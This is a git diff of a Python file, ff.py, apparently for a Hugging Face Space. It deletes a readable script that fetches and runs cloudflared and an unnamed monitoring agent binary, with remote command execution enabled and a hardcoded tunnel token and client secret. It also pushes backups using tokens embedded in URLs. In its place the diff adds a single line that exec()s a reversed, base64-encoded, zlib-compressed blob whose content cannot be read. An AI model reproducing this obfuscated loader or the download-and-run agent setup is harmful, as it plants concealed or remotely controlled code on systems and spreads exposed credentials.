Update ff.py

ff.py

@@ -1,470 +1,4 @@
-import subprocess
-import os
-import threading
-import time
-import yaml
-from datetime import datetime
-import signal
-import psutil
-import glob
-import re
-import pytz
-import requests
-import json
 
-DATA_JSON = os.environ.get('DATA_JSON', '')
-
-def assign_vars_from_json(config: dict):
-    for key, value in config.items():
-        globals()[key] = value
-
-if DATA_JSON:  # 如果 DATA_JSON 有值
-    try:
-        config_dict = json.loads(DATA_JSON)  # 解析 JSON 字符串
-        assign_vars_from_json(config_dict)
-    except json.JSONDecodeError:
-        raise ValueError("DATA_JSON 环境变量不是合法的 JSON 字符串")
-else:  # 如果 DATA_JSON 为空，就从单独的环境变量里取
-    BACKUP_TIME = os.environ.get('BACKUP_TIME', '1200')  # 备份时间 10800秒 2小时
-    HF_USER1 = os.environ.get('HF_USER1', '')  # HF 备份仓库的用户名
-    HF_REPO = os.environ.get('HF_REPO', '')  # HF 备份的Models仓库名
-    HF_EMAIL = os.environ.get('HF_EMAIL', '')  # HF的邮箱
-    HF_TOKEN1 = os.environ.get('HF_TOKEN1', '')  # HF备份账号的TOKEN
-    
-    HF_USER2 = os.environ.get('HF_USER2', '')  # huggingface 用户名
-    HF_ID = os.environ.get('HF_ID', '')  # huggingface space 名
-    HF_TOKON2 = os.environ.get('HF_TOKON2', '')  # huggingface TOKEN
-    
-    UUID = os.environ.get('UUID', 'a488076d-0ced-4a83-91c4-c498fce00cff')  # UUID,如使用v1,在不同的平台部署需要修改,否则会覆盖
-    N_SERVER = os.environ.get('N_SERVER', 'z.282820.xyz:443')# N面板域名或ip, 
-
-
-def cf():
-    os.system("rm -r /data/cf")
-    os.system("wget -O '/data/cf' -q 'https://github.com/cloudflare/cloudflared/releases/download/2025.9.0/cloudflared-linux-amd64'")
-    os.system("chmod +x  /data/cf")
-    # hf-ff.ql02.ggff.net
-    os.system('/data/cf tunnel run --token eyJhIjoiZWM1MTk5ZTYwZGYxYWI2YmM2OTdhMGYzMTA3YzY4NTUiLCJ0IjoiOTY0NDIwODgtN2RkOS00Y2IwLThhMDEtYTI1YzZmMjAwZjBlIiwicyI6Ik9XSmpNVFpsTjJZdE5UWTRNQzAwTW1VMkxUaGxaREV0T1RRNU1EZzROVFV3T0dFeiJ9')
-
-UUID = os.environ.get('UUID', 'a488076d-0ced-4a83-91c4-c498fce00cff')  # UUID,如使用v1,在不同的平台部署需要修改,否则会覆盖
-N_SERVER = os.environ.get('NEZHA_SERVER', '')# N面板域名或ip, 
-def nv1():
-    agent_config = {
-        'client_secret': 'MLcD6YnifhoY08B9n129UP5cg2139NYa',
-        'debug': False,
-        'disable_auto_update': True,
-        'disable_command_execute': False,
-        'disable_force_update': False,
-        'disable_nat': False,
-        'disable_send_query': False,
-        'gpu': False,
-        'insecure_tls': False,
-        'ip_report_period': 1800,
-        'report_delay': 3,
-        'self_update_period': 0,
-        'server': 'z.282820.xyz:443',
-        'skip_connection_count': False,
-        'skip_procs_count': False,
-        'temperature': True,
-        'tls': True,
-        'use_gitee_to_upgrade': False,
-        'use_ipv6_country_code': False,
-        'uuid': UUID
-    }
-    with open('./config.yaml', 'w') as file:
-        yaml.dump(agent_config, file, default_flow_style=False)
-    
-    os.system("cat ./config.yaml")
-    os.system("rm -rf f1")
-    os.system("wget -O 'f1' -q 'https://huggingface.co/datasets/Qilan2/st-server/resolve/main/nv1amd64?download=true'")
-    os.system("chmod +x  f1")
-    os.system('./f1 -c ./config.yaml')
-    os.system('./f1 -c ./config.yaml')
-threading.Thread(target=nv1, daemon=True).start()
-
-def get_latest_local_package(directory, pattern='*.tar.gz'):
-    try:
-        # 构建完整的搜索路径
-        search_pattern = os.path.join(directory, pattern)
-        
-        # 查找所有匹配的文件
-        files = glob.glob(search_pattern)
-        
-        if not files:
-            print("未找到匹配的 nezha-hf 压缩包")
-            return None
-        
-        # 获取最新的文件
-        latest_file = max(files, key=os.path.getmtime)
-        
-        print(f"找到最新的包: {latest_file}")
-        return latest_file
-    
-    except Exception as e:
-        print(f"获取最新包时发生错误: {e}")
-        return None
-
-
-def delete_huggingface_lfs_file(filename, repo_id, token):
-    """
-    通过Hugging Face API删除LFS文件记录
-    """
-    try:
-        # 1. 查询LFS文件列表
-        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
-        headers = {
-            "content-type": "application/json",
-            "Authorization": f"Bearer {token}",
-            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
-        }
-        
-        response = requests.get(url, headers=headers)
-        if response.status_code != 200:
-            print(f"查询LFS文件失败: {response.status_code} - {response.text}")
-            return False
-        
-        lfs_files = response.json()
-        
-        # 2. 查找匹配的文件
-        file_to_delete = None
-        for file_info in lfs_files:
-            if file_info.get('filename') == filename:
-                file_to_delete = file_info
-                break
-        
-        if not file_to_delete:
-            print(f"未找到对应的LFS文件记录: {filename}")
-            return False
-        
-        # 3. 删除LFS文件记录
-        file_oid = file_to_delete['fileOid']
-        delete_url = f"https://huggingface.co/api/models/{repo_id}/lfs-files/{file_oid}?rewriteHistory=true"
-        
-        delete_response = requests.delete(delete_url, headers=headers)
-        if delete_response.status_code == 200:
-            print(f"成功删除LFS文件记录: {filename} (OID: {file_oid})")
-            return True
-        else:
-            print(f"删除LFS文件记录失败: {delete_response.status_code} - {delete_response.text}")
-            return False
-            
-    except Exception as e:
-        print(f"删除LFS文件记录时出错: {e}")
-        return False
-
-
-def safe_git_cleanup(repo_path, files_to_remove):
-    """
-    安全的Git清理，不会影响现有的备份文件
-    """
-    try:
-        original_dir = os.getcwd()
-        os.chdir(repo_path)
-        
-        print(f"执行安全Git清理: {files_to_remove}")
-        
-        # 1. 首先确保工作目录是干净的
-        result = subprocess.run(['git', 'status', '--porcelain'], capture_output=True, text=True)
-        if result.stdout.strip():
-            print("工作目录有未提交的更改，先提交...")
-            subprocess.run(['git', 'add', '.'], capture_output=True)
-            subprocess.run(['git', 'commit', '-m', '自动提交: 清理前的更改'], capture_output=True)
-        
-        # 2. 只从Git索引中删除指定的文件，但不影响工作目录中的文件
-        for filename in files_to_remove:
-            if os.path.exists(filename):
-                print(f"从Git索引中删除 {filename} (文件仍保留在工作目录)")
-                subprocess.run(['git', 'rm', '--cached', filename], capture_output=True)
-            else:
-                print(f"文件 {filename} 不存在于工作目录，只清理Git引用")
-        
-        # 3. 提交删除操作
-        if files_to_remove:
-            subprocess.run(['git', 'commit', '-m', f'清理已删除的文件: {", ".join(files_to_remove)}'], capture_output=True)
-        
-        # 4. 执行GC清理但不删除最近的文件
-        subprocess.run(['git', 'gc', '--auto'], capture_output=True)
-        subprocess.run(['git', 'lfs', 'prune'], capture_output=True)
-        
-        print("安全Git清理完成")
-        os.chdir(original_dir)
-        return True
-        
-    except Exception as e:
-        print(f"安全Git清理时出错: {e}")
-        os.chdir(original_dir)
-        return False
-
-
-def get_remote_lfs_files(repo_id, token):
-    """
-    获取远程所有的LFS文件列表
-    """
-    try:
-        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
-        headers = {
-            "content-type": "application/json",
-            "Authorization": f"Bearer {token}",
-            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
-        }
-        
-        response = requests.get(url, headers=headers)
-        if response.status_code == 200:
-            return response.json()
-        else:
-            print(f"获取远程LFS文件失败: {response.status_code}")
-            return []
-    except Exception as e:
-        print(f"获取远程LFS文件时出错: {e}")
-        return []
-
-
-def cleanup_orphaned_lfs_references(repo_path, repo_id, token, keep_count=3):
-    """
-    清理孤儿LFS引用：删除远程存在但本地不存在的文件引用
-    """
-    try:
-        original_dir = os.getcwd()
-        os.chdir(repo_path)
-        
-        print("检查孤儿LFS引用...")
-        
-        # 获取远程LFS文件
-        remote_files = get_remote_lfs_files(repo_id, token)
-        if not remote_files:
-            print("无法获取远程LFS文件列表")
-            return
-        
-        # 获取本地文件
-        local_files = set(glob.glob('*.tar.gz'))
-        
-        # 找出远程存在但本地不存在的文件
-        orphaned_files = []
-        for remote_file in remote_files:
-            filename = remote_file.get('filename')
-            if filename and filename not in local_files:
-                orphaned_files.append(filename)
-        
-        if orphaned_files:
-            print(f"发现孤儿LFS引用: {orphaned_files}")
-            
-            # 删除这些孤儿引用
-            for filename in orphaned_files:
-                print(f"删除孤儿LFS引用: {filename}")
-                delete_huggingface_lfs_file(filename, repo_id, token)
-        
-        print("孤儿LFS引用清理完成")
-        os.chdir(original_dir)
-        
-    except Exception as e:
-        print(f"清理孤儿LFS引用时出错: {e}")
-        os.chdir(original_dir)
-
-
-def compress_folder(folder_path, output_dir, keep_count=3):
-    try:
-        # 确保输出目录存在
-        os.makedirs(output_dir, exist_ok=True)
-        
-        # 设置中国时区
-        china_tz = pytz.timezone('Asia/Shanghai')
-        
-        # 获取当前中国时间的时间戳
-        timestamp = str(int(datetime.now(china_tz).timestamp() * 1000))
-        output_path = os.path.join(output_dir, f'{timestamp}.tar.gz')
-        
-        # 获取所有压缩包
-        existing_archives = glob.glob(os.path.join(output_dir, '*.tar.gz'))
-        
-        # 安全地提取时间戳
-        def extract_timestamp(filename):
-            match = re.search(r'(\d+)\.tar\.gz$', filename)
-            return int(match.group(1)) if match else 0
-        
-        files_to_cleanup = []
-        
-        # 如果压缩包数量超过保留数量，删除最旧的
-        if len(existing_archives) >= keep_count:
-            # 按时间戳排序（从小到大，最旧的在前面）
-            existing_archives.sort(key=extract_timestamp)
-            
-            # 计算需要删除的数量
-            delete_count = len(existing_archives) - keep_count + 1
-            
-            # 删除最旧的压缩包
-            for i in range(delete_count):
-                oldest_archive = existing_archives[i]
-                oldest_filename = os.path.basename(oldest_archive)
-                
-                try:
-                    # 删除本地文件
-                    os.remove(oldest_archive)
-                    print(f"删除最旧的压缩包：{oldest_filename}")
+# Python
                     
-                    # 记录需要清理的文件名
-                    files_to_cleanup.append(oldest_filename)
-                    
-                    # 删除Hugging Face LFS文件记录
-                    print(f"正在删除Hugging Face LFS文件记录: {oldest_filename}")
-                    delete_huggingface_lfs_file(oldest_filename, f"{HF_USER1}/{HF_REPO}", HF_TOKEN1)
-                        
-                except Exception as e:
-                    print(f"删除失败 {oldest_archive}: {e}")
-        
-        # 如果有文件需要从Git历史中清理，执行安全清理
-        if files_to_cleanup:
-            print(f"执行安全Git清理: {files_to_cleanup}")
-            safe_git_cleanup(output_dir, files_to_cleanup)
-        
-        # tar.gz 压缩
-        result = subprocess.run(
-            ['tar', '-czf', output_path, folder_path], 
-            capture_output=True, 
-            text=True
-        )
-        
-        if result.returncode == 0:
-            # 计算压缩包大小
-            file_size = os.path.getsize(output_path) / 1024 / 1024
-            
-            # 格式化中国时区的时间
-            china_time = datetime.now(china_tz)
-            formatted_time = china_time.strftime('%Y-%m-%d %H:%M:%S')
-            
-            print(f"压缩成功：{output_path}")
-            print(f"压缩大小：{file_size:.2f} MB")
-            print(f"压缩时间：{formatted_time}")
-            print(f"保留策略：最多保留 {keep_count} 个备份包")
-            
-            # 返回压缩包名和大小信息
-            return f"{os.path.basename(output_path)} MB：{file_size:.2f} MB TIME：{formatted_time}"
-        else:
-            print("压缩失败")
-            print("错误信息:", result.stderr)
-            return None
-    
-    except Exception as e:
-        print(f"压缩出错: {e}")
-        return None
-
-
-def github(type):
-    if type == 1:
-        os.system(f'rm -rf /data/{HF_REPO} /data/ff /data/data') 
-    if not os.path.exists(f'/data/{HF_REPO}'):
-        git = f"git clone https://{HF_USER1}:{HF_TOKEN1}@huggingface.co/{HF_USER1}/{HF_REPO}"
-        print(git)
-        os.system(git)
-        os.system(f'git config --global user.email "{HF_EMAIL}"')
-        os.system(f'git config --global user.name "{HF_USER1}"') 
-        os.system("ls")
-        latest_package = get_latest_local_package(f'/data/{HF_REPO}')
-        print(f"最新压缩包路径: {latest_package}")
-        if latest_package:
-            os.system(f"tar -xzf {latest_package} -C /data")
-            os.system("mv /data/f/ff /data/")
-            os.system("mv /data/data/f/ff /data/")
-            os.system("rm -rf /data/data /data/f")
-    
-    if type == 2:
-        print(f"开始备份上传HF仓库：{HF_REPO}")
-        os.system("mkdir -p /data/f")
-        os.system("cp -rf /data/ff /data/f")
-        
-        repo_path = f'/data/{HF_REPO}'
-        repo_id = f"{HF_USER1}/{HF_REPO}"
-        
-        # 切换到仓库目录
-        os.chdir(repo_path)
-        os.system(f'git config --global user.email "{HF_EMAIL}"')
-        os.system(f'git config --global user.name "{HF_USER1}"') 
-        
-        # 先清理孤儿LFS引用
-        cleanup_orphaned_lfs_references(repo_path, repo_id, HF_TOKEN1, keep_count=3)
-        
-        # 执行Git清理（不影响现有文件）
-        os.system('git lfs prune')
-        os.system('git gc --auto')
-        
-        # 备份上传仓库
-        new_archive_info = compress_folder('/data/f', repo_path, keep_count=3)
-        if new_archive_info:
-            new_archive, file_size_info = new_archive_info.split(' MB：')
-            
-            os.system("pwd")
-            os.system(f'git add .')
-            os.system(f'git commit -m "{file_size_info}"')
-            
-            # 正常推送（不再需要强制推送）
-            push_result = os.system('git push origin main')
-            if push_result != 0:
-                print("推送失败，可能有冲突，尝试拉取并合并...")
-                os.system('git pull origin main --rebase')
-                os.system('git push origin main')
-            
-            # 轻度清理
-            os.system('git gc --auto')
-            os.system('git lfs prune')
-        else:
-            print("压缩失败，无法提交")
-
-
-def _reconstruct_token(partial_token):
-    return partial_token.replace(" ", "")
-
-def restart_huggingface_space(space_name, space_id, partial_token):
-    token = _reconstruct_token(partial_token)
-    url = f"https://huggingface.co/api/spaces/{space_name}/{space_id}/restart?factory=true"
-    headers = {
-        "Content-Type": "application/json",
-        "Authorization": f"Bearer {token}",
-        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
-    }
-    try:
-        response = requests.post(url, headers=headers, json={})
-        return {
-            "status_code": response.status_code,
-            "success": response.status_code == 200,
-            "message": response.text
-        }
-    except requests.RequestException as e:
-        return {
-            "status_code": None,
-            "success": False,
-            "message": str(e)
-        }
-
-
-def check_system_resources():
-    time.sleep(120)
-    cpu_usage = psutil.cpu_percent(interval=1)
-    memory = psutil.virtual_memory()
-    memory_usage = memory.percent
-    if cpu_usage >= 90 or memory_usage >= 95:
-        print("占用过高")
-        result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
-        print(result)
-    else:
-        print("系统资源正常")
-
-
-def repeat_task():
-    print('备份线程启动')
-    while True:
-        print(f"打包时间：{BACKUP_TIME} 秒")
-        time.sleep(int(BACKUP_TIME))
-        github(2)
-
-github(1)
-
-if os.path.exists('/data/ff/.mozilla/firefox/profiles.ini') and os.path.isfile('/data/ff/.mozilla/firefox/profiles.ini'):
-    threading.Thread(target=repeat_task, daemon=True).start()
-    while True:
-        print("检测到Firefox配置，启动定期重启循环...")
-        time.sleep(21600)# 6小时
-        github(2)
-        result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
-        print(result)
-        break
-# github(2)
-# nv1_agent()
+_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=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